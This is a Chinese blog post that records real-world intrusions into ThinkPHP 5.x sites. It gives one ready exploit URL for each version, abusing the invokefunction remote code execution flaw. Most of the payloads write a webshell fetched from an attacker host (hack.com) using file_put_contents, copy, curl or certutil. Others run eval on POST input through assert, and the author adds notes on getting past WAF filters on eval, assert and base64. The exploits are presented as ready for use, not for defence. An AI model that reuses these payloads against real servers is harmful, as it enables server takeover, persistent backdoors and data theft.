ThinkPHP5.x.x各版本实战环境getshell

华盟原创文章投稿奖励计划

文章作者:k
文章来源:拾樱shiying
#这个文章我之前在t00ls已经分享过了
#内容只是对tp5的实战环境下getshell做的记录,中间遇到的一些小问题的突破,没啥技术含量
-5.1.18http://www.xxxxx.com/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
-5.0.5waf对eval进行了拦截
禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤

http://www.xxxx.com/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
-5.1.18所有目录都无写权限,base64函数被拦截

http://www.xxxx.com/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
-5.0.18windows
http://www.xxxx.com/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1

http://www.xxxx.com/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()

使用certutil
http://www.xxxx.com/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
由于根目录没写权限,所以写到uploads
-5.0.14eval('')和assert('')被拦截,命令函数被禁止

http://www.xxxx.com/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();

http://www.xxx.com/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
-5.0.11http://www.xxxx.cn/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
-5.0.14php7.2
http://www.xxxx.cn/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1

http://www.xxxx.cn/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
写进去发现转义了尖括号

www.idc126.com

通过copy函数
http://www.xxxx.cn/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/245050.html

发表评论